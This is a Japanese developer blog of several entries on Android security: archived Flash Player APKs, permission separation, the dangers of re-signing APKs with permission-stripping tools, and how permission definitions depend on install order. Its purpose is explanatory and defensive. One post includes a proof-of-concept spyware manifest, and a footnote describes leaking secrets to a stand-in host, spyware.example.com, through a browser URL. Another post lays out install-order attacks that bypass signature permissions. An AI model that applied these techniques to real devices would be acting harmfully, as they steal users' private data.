Android用Flash Playerはまだ公式から入手可能
諸事情でAndroid環境から撤退されてしまったFlash Player(←復活中?)ですが、現在もAdobe公式の旧バージョンのアーカイブ置いてるページにAndroid用のapkも置いてあります。
http://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html
http://helpx.adobe.com/jp/flash-player/kb/228683.html
「自分の機種に対応するAPKはどれ?」とか聞かれても分からんので、ご自身で動きそうなのをお試しください。一応互換性リストみたいなページもあるみたいですが。
http://www.adobe.com/devnet-apps/flashruntimes/certified-devices.html
またドコモユーザーである場合、dメニューからFlash Playerを入手する事も可能なようです。
http&FTPでの配布なので、偽鯖に誘導されたあげく海賊版apkつかまされたりしないようご注意くださいねー。
折角なので各ファイルのハッシュ値もメモしておきますね。とはいえこれも偽情報じゃないかと疑うくらい*1用心深く自衛しましょう。公式Playマーケット以外からAPKを入手しインストールするのはそれだけ危なっかしい事ですので。
- Flash Player for Android 4.0 archives
- Flash Player 11.1.for Android 4.0 (11.1.115.34)
- Flash Player 11.1.for Android 4.0 (11.1.115.27)
- Flash Player 11.1.for Android 4.0 (11.1.115.20)
- Flash Player 11.1.for Android 4.0 (11.1.115.17)
- Flash Player 11.1.for Android 4.0 (11.1.115.12)
- Flash Player 11.1.for Android 4.0 (11.1.115.11)
- Flash Player 11.1.for Android 4.0 (11.1.115.8)
- Flash Player 11.1.for Android 4.0 (11.1.115.7)
- Flash Player 11.1.for Android 4.0 (11.1.112.61)
- Flash Player 11.1.for Android 4.0 (11.1.112.60)
- Flash Player for Android 2.x and 3.x archives
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.29)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.24)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.19)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.16)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.10)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.9)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.8)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.7)
- Flash Player 11.1 for Android 2.x and 3.x (11.1.111.5)
- Flash Player 11.1 for Android (11.1.102.59)
- Flash Player 11 for Android (11.0.1.153)
- Flash Player 10.3 for Android (10.3.186.7)
- Flash Player 10.2 for Android (10.2.157.51)
- Flash Player 10.1 for Android (10.1.106.17)
そのスマホアプリ、権限を分離しませんか?
前置き
この前Twitterでこんなやりとりをしました。
もういっそ電話帳の端末外部への送信はアドレス帳系のサービス以外禁止!とかにしちゃえば良いのにまーでもSNSの電話帳インポート機能ってユーザーからの要望もあって付けてるんだろうし、無くすのは難しいのかな?
連絡先インポート用のプラグインアプリを別途用意する形にすれば、本体アプリから権限剥奪出来る筈だと思います。ただ実証コードで確認してないので間違い&机上の空論の可能性ありますけど。 @ks_desire
2012-05-18 16:40:15 via Janetter to @ks_desire
仕様
仕様は次のようにしてみました。
- プラグインアプリにだけ「連絡先読み取り」権限を付ける。
- 本体アプリはプラグインアプリを呼びだして結果を受け取る。(今回はActivityで実装)
- 本体アプリに渡す連絡先情報を限定出来るようにしておく。
- プラグインアプリが未インストールだったら、使いたい人だけマーケットへ誘導してあげる。
- プラグインアプリの画面から、アプリケーション管理画面へ飛べるようにしてアンインストールを容易にしてあげる。
あとセキュリティ対策として
もやっておきました。*2
*1:色々汚いコードだけど許してくださいね。まあ逆に言えば「センス不足の素人ですら簡単に権限が分離出来る」難易度ですので、みんなも遠慮無くチャレンジしてください。
*2:JSSECさんの『Android アプリのセキュア設計・セキュアコーディングガイド』【6月1日版】をベースに、独自に好き勝手やったものです。
Androidアプリを再署名する事のセキュリティリスク
こっそりタイトル募集中。*1
既存のAndroidアプリを改造し、「ネットワークアクセスなどの権限剥奪」や「画像などのリソース差し替え」するためのソフトってあるらしいですね。
「AppNetBlocker」「App Shield」「Permissions Denied」「Permission Remover」「Apk Manager」とか。
これらのソフトは元のapkを分解して改修して再度apkにした上で再署名するそうです。
「AppNetBlocker」や「Permissions Denied」なんかは安全の為に使われているそうですが、この手のツール使うと逆に危険になるケースがあります。という訳でさっそく例題を見ていきましょう。
悪意ある(普段おとなしい)スパイウェアが、再署名されて無敵モード突入する例
スパイウェア「SpyWare01」は、有名アプリの権限をこっそり使ってスパイ活動をするものです。
使用する権限は「インストール画面では表示されない」protectionLevel=signatureものに限ります。
動かしてみたい奇特な人向け→SpyWare01.zip
「SpyWare01」のAndroidManifest.xmlの中身。*2
<uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="com.google.android.apps.chrome.permission.SANDBOX" /> <uses-permission android:name="com.android.chrome.TOS_ACKED" /> <uses-permission android:name="com.android.chrome.permission.C2D_MESSAGE" /> <uses-permission android:name="com.facebook.katana.provider.ACCESS" /> <uses-permission android:name="com.facebook.katana.permission.C2D_MESSAGE" /> <uses-permission android:name="com.facebook.orca.permission.C2D_MESSAGE" /> <uses-permission android:name="com.facebook.orca.provider.ACCESS" /> <uses-permission android:name="com.ntt.voip.android.com050plus.permission.ACCESS_SETTINGS" /> <uses-permission android:name="jp.gree.android.app.permission.C2D_MESSAGE" /> <uses-permission android:name="com.ngmoco.gamejs.permission.C2D_MESSAGE" /> <uses-permission android:name="jp.mixi.permission.C2D_MESSAGE" /> <uses-permission android:name="jp.mixi.permission.MESSAGE_CONTENTPROVIDER_WRITE" /> <uses-permission android:name="jp.mixi.permission.GRAPH_CONTENTPROVIDER_WRITE" /> <uses-permission android:name="jp.naver.line.android.permission.C2D_MESSAGE" /> <uses-permission android:name="jp.naver.line.android.permission.AOM_MESSAGE" /> <uses-permission android:name="jp.naver.android.npush.permission.PUSH_MESSAGE" /> <uses-permission android:name="org.mozilla.firefox.permissions.BROWSER_PROVIDER" /> <uses-permission android:name="org.mozilla.firefox.permissions.PASSWORD_PROVIDER" /> <uses-permission android:name="org.mozilla.firefox.permissions.FORMHISTORY_PROVIDER" />
それでは今回は「Android用Facebookアプリ」と「SpyWare01」の2つから「AppNetBlocker」*3を使ってインターネットパーミッションを削り、その前後の違いを確認してみます。
「SpyWare01」のインストール画面(通常時)
有名アプリの機密情報にアクセスする為のパーミッションは、画面に表示されません。*4
「SpyWare01」の活動内容。各パーミッションがPERMISSION_GRANTEDになっている場合のみ、スパイ活動を行います。(サンプルとして安全かつバレバレの挙動にしています)
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); String[] permissions = { "com.google.android.apps.chrome.permission.SANDBOX", "com.android.chrome.TOS_ACKED", "com.android.chrome.permission.C2D_MESSAGE", "com.facebook.katana.provider.ACCESS", "com.facebook.katana.permission.C2D_MESSAGE", /* はてダでは省略 */ "org.mozilla.firefox.permissions.PASSWORD_PROVIDER", "org.mozilla.firefox.permissions.FORMHISTORY_PROVIDER" }; StringBuilder sb = new StringBuilder(); for (String s : permissions){ String granted = (getPackageManager().checkPermission(s, getPackageName()) == PackageManager.PERMISSION_GRANTED) ? "granted" : "deneid"; if (granted.equals("granted")){ sb.append(s); sb.append(":\n"); sb.append(granted); sb.append("\n"); } } ((TextView) findViewById(R.id.textView1)).setText(sb.toString()); }
「SpyWare01」の実行結果(通常時)
APKの署名が違っている為、権限は何も与えられていません。よって何も表示されていません。
通常時はインストール時に様々な権限を要求している事が非表示という以外、特に問題ない動きをします。それでは「AppNetBlocker」を使った場合どんな風になるでしょうか?
「SpyWare01」のインストール画面(AppNetBlocker使用後)
インターネットの権限が消えました。その他のパーミッションは相変わらず表示されません。
「SpyWare01」の実行結果(AppNetBlocker使用後)
「Android用Facebookアプリ」と同じ署名がされているので、2件のパーミッションが使えるようになりました!
権限を削った筈が、-1+2でむしろ権限が増えました! やったね!!
あとは各アプリケーションの動作を解析し、「SpyWare01」で情報を抜き取る機能を搭載すれば色んな機密情報が抜き取れそうですね!*5
仕組み解説
どうしてこうなったかをまとめると、次の通りです。
- 「大事な情報を守ってるアプリA」は機密情報のアクセス元を「同じ署名のアプリ(≒自社製のアプリ)限定」と設定し、機密情報をしっかり守っています。
- 「AppNetBlocker」の再署名によって、本来別々の署名がされてるアプリが、全て同じ署名にされしまいます。
- 「大事な情報を守ってるアプリA」「実は悪意あるアプリB」が同じ署名で再署名される事により、アプリB側からprotectionLevel=signatureの壁を突破出来ます。
- 「実は悪意あるアプリB」がアプリAの機密情報を盗み取るのに成功します!
……「AppNetBlocker」のおかげでアプリAの努力が台無しですね〜。もちろん「AppNetBlocker」以外のツールでも、同じ署名で統一される仕様である限りは同様の問題が発生します。
ちなみに通常、未定義のパーミッション・protectionLevelがsignatureまたはsignatureOrSystemのパーミッションは、アプリのインストール/管理画面の使用権限一覧には表示されません。
これは「同一作者のアプリ同士のやりとりを守る権限なんて、ユーザーに知らせたら無駄に不安させるだけだよね♪」という意味では至極まともな動作です。
内部的にもアプリBからのアプリAの機密情報等へのアクセスはきちんと遮断してくれますし、ユーザーは本当に意識しなくて良い代物なんです。通常通りマーケットからアプリ入れてそのまま使う分には。
しかしその大前提が、再署名されてしまう事で台無しになるんですね。
という訳で、APKを再署名するようなツールは、基本的に使わない方が良いでしょう。
最低限、自分でAndroidManifest.xmlを読んで理解が出来ない限りは使うべきじゃないと思います。*6
「この権限付いてるのが嫌!」「このアプリのアイコンがどうしても我慢出来ない!」等の場合には、素直にそのアプリは使わないのが吉です。
やる気と時間さえあれば、元のアプリを超える良作を自分で開発する事もできますよ!
蛇足
このエントリで書いた問題、普通に既知の情報として周知されてるかと思ったんですが、あんまり周知されてないみたいですね。*7
自衛のために「App Shield」「Permissions Denied」「AppNetBlocker」「Permission Remover Free」等を推奨している、2ちゃんねるの「Android 権限の怪しいアプリ」スレを1〜12本目まで見たところ、当エントリの問題認識してそうな書き込みは皆無のようでした。
typoで検索にかからなかった可能性もありますが、それっぽい発言は10本目の>>145と>>415だけみたいですね。
不要な権限を要求するアプリはもちろん撲滅されるべきですけど、別の問題を発生させうる誤った対策もなるべく早めに人前から消えて頂いたいものです。
ついでに2ちゃんスレでも紹介されてたアプリをつかって、「SpyWare01」の挙動をチェックしてみました。使用したアプリ&バージョンは次の通りです。
- S2 Permission Checker バージョン1.1
- tSpyChecker バージョン1.4.0
tSpyCheckerでは特に警告されませんでした。AppNetBlocker適用前後でも変化なしでした。
S2 Permission Checkerでは色々表示されて、パッケージ一覧画面では『使用権限が多め』という意味では怪しいと目星はつけられそうな感じです。ただし同じくらい権限使用するメジャーアプリはザラにあるので、多いというだけで怪しいと判別するのは難しいかもしれませんが(笑)。権限一覧画面では事細かに種類毎の表示がされていました。
ただし、Google Playマーケットにこんな「SpyWare01」のようなアプリ入れるのはスパイウェア配布者にとってもハイリスクです。
(解析マニア以外の)ユーザーからは見つけられにくくても、Bouncer辺りの自動スキャンソフトからは簡単に嗅ぎつけられるからです。
Bouncerのロジックに「やたら他ベンダー製アプリへのアクセス用パーミッションがあるやつは、スパイウェアっぽい」というルールを追加されると、おそらくPlayマーケットのアカウントBANは余裕だと思われます。(^_^;)
*1:なんかもっと「本当は怖いAppNetBlocker」「アイコンを書き換えたと思ったら、人生が書き換えられた(個人情報漏洩的な意味で)」みたいなキャッチーなタイトルに変えたいです。ということで意見募集中。
*2:参考として列挙しただけで、各パーミッションがどういう代物かなんて調べてません。悪用の余地が無いパーミッションもあるかと思われます。
*3:AppNetBlockerを元に解説していますが、別にAppNetBlockerに恨みがある訳でも「AppNetBlockerが一番危険」という話でもありません。単純に入手が容易だったので実例として紹介させて頂きました。AppNetBlockerはこちらで公開されています。 → http://dsas.blog.klab.org/archives/52026407.html
*4:ただし古いバージョンがインストールされていて、なおかつprotectionLevelがnormalまたはdangerousになっていた場合はバレますw
*5:インターネットアクセスが出来ない状態でも「オンラインヘルプを表示(ブラウザを開きます)」みたいなボタン等を付けて、アクセスするURLに「http://spyware.example.com/help.php?PHPSESSID={機密情報をbase64等で加工したもの}」とかを指定しブラウザ立ち上げするなど、方法は色々あります。
*6:今回はパーミッションについてのみ書きましたが、ファイルアクセスについても再署名のせいで類似の問題が発生する場合があります。
*7:それらしき記事 http://blog.synchack.com/2012/01/crack.html もあったようなのですが、現在公開終了してて内容確認出来ませんでした。誰かどんな内容だったか教えてください…。orz
JSSECさんへパプコメ送ってみた
JSSECさんのサイトで公開されてるpdf『Android アプリのセキュア設計・セキュアコーディングガイド』【6月1日版】を読んでみて、気になった所をメールで送ってみました。パブコメの応募期間を考えると、次の版はおそらく【8月x日版】以降になりそうです。次版に意見が反映されるかどうかは分かりません*1が、とりあえずはてダの方にも転載しておきます。ほぼそのまま転載してるので「pochi-p→JSSEC」方向のメッセージとして読み進めてください。
なお件のpdf閲覧時に多分テキスト検索が快適には動かないと思われるので、当エントリと見比べて読まれる場合はAcrobatの「しおり」機能でpdfの該当箇所を探すことをオススメします。6/11に公開されたPDFがコピー禁止設定になっていて、その際PDF内検索にも悪影響が出ていたようです。現在は(翌日の6/12から?)コピー禁止解除版に差し替えられており、pdfの検索もサクサク出来るようになっています。同じ不具合に遭遇してる方はPDFを再DLしてみてください。
前提
当方はAndroid SDKのエミュレーターでの動作確認を行っており、バージョンは1.6・2.1・2.2・2.3.1・2.3.3・4.0.3です。そちら(=JSSEC)の検証環境ともしかしたら挙動が違うかもしれませんが、『当方の環境でpdfを読み進めた』結果の指摘だとご理解ください。
「5.2.2.3. 独自定義のDangerous Permissionは利用してはならない」の内容が納得いかない
(※「独自定義のDangerous Permissionは利用してはならない」というルールそのものには賛成です)
当方がエミュレータで確認したAndroidの挙動と、該当項目で書かれてる内容が全くかみ合いませんでした。
『UserApp→ProtectedApp』のインストール順では、UserAppに権限はgrantされません。「うまくいかないケース」の挙動は本来ありえないのではないでしょうか?
『UserApp→ProtectedApp』の順でUserAppのuses-permissionに権限がgrantされるのは、特定バージョンのsignature/signatureOrSystemに限られる筈です。
そのあたりの挙動はこのエントリの『パーミッションはインストール順によって面倒が一杯』にまとめています。
『エミュレータ側の問題』という可能性も考えられますが、一度ご確認お願いします。
権限の許可がアンインストール時に剥奪されない仕様の想定漏れ?
2.1以前の環境での挙動を想定漏れされているように見受けられました。
pdfの
「4.1.1.4. 自社限定Activityを作成する」
「4.5.1.4. 自社限定Content Providerを作成する」
には「パートナー限定公開」と同じような呼び出し元アプリのチェック処理を追加するか、「Android2.2以降に限る」といった注意書きをもうけるべきだと思われます。(チェックは単純にPackageManager#checkSignaturesで呼び出し元/先の署名一致を確認するだけで十分でしょう)
理由は以下の通りです。
このエントリの『実は2.1以前のprotectionLevel=signatureには抜け穴がある。』での記述通りだと、『権限定義は想定通り』『しかし第三者アプリに権限がgrantされている』という状態がありえるからです。
自社限定公開のアプリでも(少なくとも2.1以前では)コンポーネント呼び出し元アプリの署名のチェックが必要と考えられます。
独自権限の定義場所について
pdfの
「5.2.2. ルールブック」
「5.2.2.4. 独自定義PermissionはComponentの提供側アプリだけでなく利用側アプリでも定義する」
にて書かれている『インストール順序を考慮し、すべてのアプリで独自定義Permissionを定義する』というルールについて気になる点があります。
このルールの効果と制定理由、よく分かります。私もそれがベストかなと以前まで思ってました。しかし『最初にインストールされ権限定義を担当したアプリが、他のアプリインストール後に真っ先にアンインストールされた』場合、権限が未定義状態になります。
絶対にアンインストールされない事が保証されるなら問題ありませんが、プリインストールアプリ以外ではまず現実的では無いでしょう。
今のところベストな代案は私も思いついていませんが、とりあえずはpdfの方に「アンインストール順についての注意」を追記しておくべきかと思われます。
そして関連するサンプルコードの権限チェック処理は「権限未定義=権限定義がおかしい」と扱っているようですので、その対策も何かしら必要だと思います。
apkの改ざん(≒再署名)対策について
pdfの
「5.2.3.2. ユーザーがAndroidManifest.xmlを改ざんする」
にてAndroidManifest.xmlの定義を改ざんされていないかチェックする記述がありましたが、他にもアプリ自身の署名確認処理をActivity#onCreate時などで統一的に行う形にするのはどうでしょうか?
安易にAPKのリソース書き換え(≒再署名)される事によるsignature Permissionへの悪影響*2を考えると、自己署名チェックは付いている方が無難だと思います。
勿論ユーザー自身の責任と放置するのも一つの解かもしれませんが。
またサードパーティ製マーケットで(再署名した上で)無断転載された場合にも、結果的に簡易チェックが役立つケースもあるかもしれません。
勿論コード上の比較値を直接書き換え、apkの再署名する証明書のフィンガープリントと一致させてしまえば無効化される簡易チェックでしかありませんけども…。
コンポーネント呼び出し側の権限チェック処理をする『位置を明記』するとベター?
Android 2.2以降のsignature permission用の挙動により、起動中に権限変更がありえるので、pdfの
「4.2.1.4. 自社限定Activityを利用する」
「4.6.1.4. 自社限定ContentProviderを利用する」
のルールに「呼び出し側での権限のチェック処理は、権限を行使するタイミングでチェックする」の記述を追加した方がベターではないかと思います。
間違ってActivity#onCreateでだけチェックする事が無いように明記してあげるというお話です。
(現行のサンプルコードのチェック位置が『ベスト』という事です)
その他
他には『検証環境のバージョン情報の明記』『PDFファイルのフォーマットについて』『パブコメ募集フォーマットについて』『パートナー限定コンポーネントのホワイトリストで、デバッグ判定を個別にした方が良くね?』等を一緒にメールしました。
*1:私の指摘が間違ってて反映されない可能性も勿論あります(^^;)。このエントリ見て間違いに気づいた方はコメントください〜。
*2:『本来署名が違うのでgrantされなかった権限が、APK再生成&再インストール時に権限をgrantされ得る』という悪影響。 http://d.hatena.ne.jp/pochi-p/20120701#p1 で解説しています。
摩訶不思議Androidパーミッション
※エミュレーターでの検証なので、実機と動作が違う可能性があります。
※確認したのはエミュレーターの1.6・2.1・2.2・2.3.1・2.3.3・4.0.3のみで、試していないバージョンの動作が特殊である可能性があります。
※開発者向けの情報です。利用者はあまり気にする必要はありません。
※内容が間違っている可能性があります。私が確認して把握している仕様と、後ほど参考資料として出すpdfの内容*1とで辻褄が合っていないところがありますので。もしかするとtargetSdkVersionによって挙動が違ったりする可能性もあります。
※2012/06/25に少し加筆。イメージ画像追加、若干の微修正、「それでも残るアンインストールの問題」の「その環境では権限Xの定義が消えてしまいます」以降の内容修正。
パーミッションはインストール順によって面倒が一杯
『Android のパーミッションの仕組みは「先に定義したもん勝ち」』でインストール&アンインストール順で色々面倒くさい事だらけです。その事について書かれてあったブログがありました。
Android の組込みアプリ以外のパーミッションの取り扱い
http://subtech.g.hatena.ne.jp/cho45/20100205/1265367008
とりあえずリンク先の「A → B とインストール」「B → A とインストール」部分だけ先に読んで、それからここに戻って続きを読んでください。
実は「B → A とインストール」の動作について、最近のAndroidは挙動が違ってます。(リンク記事は1.6時点)
では次の表をごらんください。
『未定義の権限Xについてuses-permissionしているアプリUが、権限Xを定義するアプリDを後からインストールした場合、OSがアプリUのuse-permissionを有効にするか?』の検証結果。
動作OSバージョン \ protectionLevel | signatureOrSystem | signature | dangerous | normal |
---|---|---|---|---|
1.6 | × | × | × | × |
2.1 | × | × | × | × |
2.2 | ○ | ○ | × | × |
2.3.1 | ○ | ○ | × | × |
2.3.3 | ○ | ○ | × | × |
4.0.3 | ○ | ○ | × | × |
何じゃそりゃーって感じですが、signature/signatureOrSystemだけ挙動が変わったようです。
詳しく調べたところ、権限を時間差でgrantするだけでなくて既存アプリの権限剥奪もやってくれるようです。
動作イメージを図にしてみる以下のような感じです。各アプリがインストール済みで、権限定義するアプリが後からインストールされた時の動作シナリオです。
↓バージョンによる変化の無いnormal/dangerousの挙動↓
Androidのpermission(権限)のおさらい
- 権限は先に定義したもの勝ち。
- 権限を使用するにはuses-permissionの宣言をアプリのAndroidManifest.xmlに書かなければならない。
- 同じ権限を定義したアプリを後からインストールしても、最初の権限定義しかOSに認められない。
- 未定義の権限をuses-permissionしても、使用許可はその時点では与えられない。
- 特定コンポーネント(Activity・ContentProvider・Service・BroadCast等)のアクセス制御に権限が使われる。
- アクセス時に権限が必要と定義されたコンポーネントには、uses-permissionに使用許可を与えられていないとアクセスに失敗する(SecurityException)。
- 権限にはprotectionLevelという概念がある。
- protectionLevel=signatureは『同じ署名がされているアプリのみuses-permissionを許可』する。
- protectionLevel=signatureOrSystemは、signatureに加えてSystemアプリにも許可してあげる権限。まず使わない。
- protectionLevel=normal/dangerousは、インストール時に権限使用を確認されるだけで、アプリの署名は関係ない。
- uses-permissionの許可は、uses-permissionしてるアプリのインストール時点で行う。
- 権限を定義したアプリをアンインストールすると、権限がシステムから削除される。
- しかし権限を定義したアプリをアンインストールしても、uses-permissionに対する許可は消えない。
- 権限を定義したアプリをアンインストールする時、同じ権限を定義したアプリを後からインストール済みであっても、その権限定義が代わりに有効になったりはしない。
- protectionLevel=signatureの署名チェックは、uses-permissionしてるアプリのインストール時のみ。実行時に署名が同じかチェックするものでは無い。
- 未定義の権限をuses-permissionしているアプリは、インストール時の確認画面に権限使用する事を表示されない。
- protectionLevelがsignatureまたはsignatureOrSystemの権限をuses-permissionしているアプリは、インストール時の確認画面に権限使用する事を表示されない。
- protectionLevelがnormalまたはdangerousの権限をuses-permissionしているアプリは、インストール時の確認画面に権限使用する事を表示される。
- 基本的に、通常アプリの開発で使うべき独自定義権限は、protectionLevelがsignatureであるべき。
- アクセス制限したコンポーネントへのアクセスは、『コンポーネントを内蔵しているアプリ自身』であればuses-permission無しにアクセス出来るものがある*2。
さて上記のおさらい、全部パーフェクトに把握されてた人はいらっしゃったでしょうか? かくいう私もつい最近まで上記の半分くらいは知らずに過ごしてましたよ……。
Android OSにまかせきりだと、アクセスされ放題!
前項の「おさらい」にあったように、権限の定義は先着順です。
インストール順次第で、コンポーネントのアクセスが簡単に可能になります。
次の例を見てみましょう。
- 「AttackApp」……権限Xの定義をして、権限Xのuses-permission宣言したアプリ(攻撃側)
- 「ProtectedApp」……権限Xの定義をして、コンポーネントのアクセスに権限Xを要求するアプリ(攻撃される側)
このケースで「AttackApp」→「ProtectedApp」の順にインストールされると、「ProtectedApp」内のコンポーネントは丸裸に出来ます。超簡単に攻撃出来ますね!
ちなみに「AttackApp」での権限XがprotectionLevel=signatureになってれば「AttackApp」インストール時に何も表示されません。独自権限についてユーザーが自衛する事なんて絶対無理ですね!
この辺は最初に紹介したリンク記事の『C → A → B とインストール』*3と同じ話ですね。
この為、先日JSSECにて公開されたpdf*4では「自社限定公開」用の対策として、「権限を定義したアプリをチェックせよ!」と書かれています。
本来の定義通りのprotectionLevelになっているか、権限を定義したアプリの『署名のフィンガープリント』が想定通りか等が書かれてますね。
その対策なら「AttackApp」が勝手に権限を定義している事が判明するので、防御が出来るという仕組みなのです。
しかし、まだそれでは対策不足なケースがあったりします。
実は2.1以前のprotectionLevel=signatureには抜け穴がある。
『権限を定義したアプリの署名をチェックする』対策をしたアプリであっても『署名が異なる攻撃アプリ』から、protectionLevel=signatureの権限にアクセスする方法があります。
今度は次のような例を考えましょう。
- 「AttackApp01」……権限Xのuses-permission宣言したアプリ(攻撃側)
- 「AttackApp02」……権限Xの定義をしているアプリ(攻撃側)
- 「ProtectedApp」……権限Xの定義をして、コンポーネントのアクセスに権限Xを要求するアプリ(攻撃される側)
インストール順が「AttackApp02」→「AttackApp01」→「ProtectedApp」である場合、前項と同じ「自社限定公開」用の対策をすれば『権限定義しているアプリの署名が違う』と判明し防御する事が出来ます。
しかし
- 「AttackApp02」をインストール(権限Xが定義される)
- 「AttackApp01」をインストール(権限Xの使用が許可)
- 「AttackApp02」をアンインストール(権限Xの定義が消えるが、AttackApp01の権限X使用は許可されたまま)
- 「ProtectedApp」をインストール(権限Xが定義される)
という流れであった場合、権限を定義してるアプリは「ProtectedApp」となります。これでは前項で紹介したJSSECの「自社限定公開」用の対策をすり抜けてしまいますね! ピンチです!!
しかも「AttackApp01」と「AttackApp02」が同じ署名で、かつ権限XをprotectionLevel=signatureで定義していれば、「AttackApp01」のインストール画面でも権限Xのuses-permissionしている事はユーザーに判断出来ません。
2.1以前も含めて完璧に対応するには、JSSECのpdfの「パートナー限定公開」の手法を組み合わせて、呼び出し元アプリの署名チェックを「自社限定公開」の仕組みを強化する必要があるでしょう*5。
またインストール済みアプリのuses-permission宣言をすべてチェックし、「ProtectedApp」へアクセスする権限を使用してるアプリの署名をチェックするという方法も採ることが出来そうです。ただし処理が重くなってしまいそうなのが難点ですが…。
で、結局2.2〜4.0.3は?
実はAndroid2.2以降の環境でsignature/signatureOrSystemで権限を定義する限りは、前項の問題に対する追加対策は不要だったりします。Android OS側で、最初の項目で表に書いたように挙動が変更されているからです。
- 「権限使用がまだ許可されてないuses-permissionへの許可割当」が行われる
- 「権限使用許可されたuses-permissionの再チェック」が行われる
という仕様ですね。*6
その為先程と同じ手法でも
- 「AttackApp02」をインストール(権限Xが定義される)
- 「AttackApp01」をインストール(権限Xの使用が許可)
- 「AttackApp02」をアンインストール(権限Xの定義が消えるが、AttackApp01の権限X使用は許可されたまま)
- 「ProtectedApp」をインストール(権限Xが定義され、その際AttackApp01の権限X使用がチェックされて(署名が違う為)権限Xは剥奪される)
となります。
ちなみにsignature/signatureOrSystemについては上記の通りですが、dangerous/normalについては2.2以前と挙動は変わっていませんので、uses-permissionの許可が残るままなので要注意です。まあそもそも(通常のアプリでは)非推奨のものですし、protectionLevelには素直にsignatureを使う事をお勧めします。
それでも残るアンインストールの問題
(※呼び出し元アプリや権限定義アプリの署名チェック処理は実装した上での解説です)
signature permissionについて2.2から前述の仕様変更をされた為、ターゲットを2.2以降に限定する場合はアプリのインストール順の縛りをかなり緩く出来ます。
(バッド?)ノウハウとして「全ての連携するアプリで権限を定義する」というルール*7に従わなくても、「権限定義担当のアプリがインストールされるのを待つ」処理を組み込む事で以下のようなアプリは自由な順番でインストール可能です。
- 「ProtectedMainApp」……権限X、権限Yを定義。権限X、権限Yのuse-permission宣言。
- 「ProtectedSubApp01」……コンポーネント使用に権限Xを要求
- 「ProtectedSubApp02」……コンポーネント使用に権限Yを要求
さらに以下の様なMain-subとは違った対等な構成のアプリであっても、順序を気にせずインストールが可能です。
- 「ProtectedMainApp01」……権限Xを定義。コンポーネント使用に権限Xを要求。権限Y、権限Zのuse-permission宣言。
- 「ProtectedMainApp02」……権限Yを定義。コンポーネント使用に権限Yを要求。権限X、権限Zのuse-permission宣言。
- 「ProtectedMainApp03」……権限Zを定義。コンポーネント使用に権限Zを要求。権限Y、権限Yのuse-permission宣言。
しかしながら解決が難しいのが「アンインストール」の問題。「独自定義PermissionはComponentの提供側アプリだけでなく利用側アプリでも定義する」のルールに従った形で考えてみます。
- 「ProtectedApp01」……権限Xを定義。コンポーネント使用に権限Xを要求。
- 「ProtectedApp02」……権限Xを定義。コンポーネント使用に権限Xを要求。権限Xのuse-permission宣言。
- 「ProtectedApp03」……権限Xを定義。権限Xのuse-permission宣言。
このケースでもインストール順序は気にしなくて大丈夫です。
しかし「ProtectedApp03」が何らかの理由で多くのユーザーがアンインストールしたがるアプリであって、なおかつ最初のインストールが「ProtectedApp03」だった場合、その環境では権限Xの定義が消えてしまいます。
ただしuse-permissionの許可はギリギリ残ります。(^_^;) …しかしながら割当済みの許可が想定通りのものなのかOSの動作だけではチェック不可能な為、アプリ内で呼び出し元の署名チェックが必須となります。また『OS側のアクセス制限が残ってくれる』と言い換えれば有り難い事だとも言えなくは無いのですが、JSSECのpdfで書いているままの「権限を定義したアプリのチェック」「権限の内容チェック」を実装してると、残った「ProtectedApp01」「ProtectedApp02」の使用に不具合が出かねませんので注意が必要です。
『ファイナルアンサーはこれだ!』とまでは断言しがたいのですが、今のところ
- 『呼び出し元アプリ』の(署名)は常にチェック。
- 権限の定義状態はチェックしても良いが、全ての関連アプリで権限定義をしておく場合はアンインストールによる未定義を想定する。
- なるべくならインストール順を固定し、権限は必ず定義されているものとしてチェックを行う。
という形で実装するのが良さそうな雰囲気です。
*1:JSSECの「セキュアコーディングガイド 2012年6月1日版」内の「5.2.2.3. 独自定義のDangerous Permissionは利用してはならない」について「うまくいかないケース」が私の理解してる内容ではあり得ない話になってました。
*2:Service等はuses-permission無しではアクセス不可。詳細は調査するの面倒なのでパス…。
*3:「(protectionLevel="normal" == ユーザに確認がでないパーミッション)」という記述が間違ってると思うのだが…。当方の1.6環境ではアプリBインストール時に(若干の操作が必要だが)使用する権限に表示される。
*4:http://www.jssec.org/news/index.html 『Android アプリのセキュア設計・セキュアコーディングガイド』【6月1日版】
*5:呼び出し元の概念が難しいコンポーネントがあったりするんですけどね…。
*6:ところでこういうOSの仕様変更、どこで確認出来るんでしょうか?? http://developer.android.com/sdk/android-2.2-highlights.html とかには書いてないですよね…??
*7:JSSECのpdf「5.2.2.4. 独自定義PermissionはComponentの提供側アプリだけでなく利用側アプリでも定義する」より。
Androidが再生産しているSQLインジェクション?
※ちょっと釣りタイトル気味ですが真面目な話です。
これからするのは、ちょっとセキュリティ屋さんやスマホアプリ開発現場の人達の頭が痛くなるかもしれないお話です。*1
定番のSQLインジェクション対策といえば「prepared-queryを利用し、パラメータはbindメカニズムを使って与える」ですよね。*2
Androidでアプリを開発する場合、その方法は使えるのでしょうか?
答えはYesです。AndroidはデータベースにSQLiteを使用しており、なおかつprepared-queryを利用出来ます。例えばこんな感じで。
SQLiteDatabase db = databaseHelper.getWritableDatabase(); //←databaseHelperはSQLiteOpenHelperを継承したクラスのオブジェクト SQLiteStatement stmt = db.compileStatement("INSERT INTO cat(name, age, weight) VALUES(?, ?, ?)"); stmt.bindString(1, "tama"); stmt.bindLong(2, 1); stmt.bindLong(3, Long.parseLong("4")); stmt.executeInsert();
上記を見て「どこにも問題無いじゃん。仮にbind知らない奴がSQLインジェクションやらかしたとしても、Androidの責任じゃないだろ。タイトル詐欺じゃね?」って思った方、早まらないで続きをご覧ください。
android.database.sqlite.SQLiteDatabaseというクラスには、以下のようなメソッドが用意されています。
public Cursor query(String table, String[] columns, String selection, String[] selectionArgs, String groupBy, String having, String orderBy) public int delete(String table, String whereClause, String[] whereArgs) public int update(String table, ContentValues values, String whereClause, String[] whereArgs)
どうやら単純なテーブル読み書き時にSQL全部を記述しなくて済ませる為のメソッドのようですね。
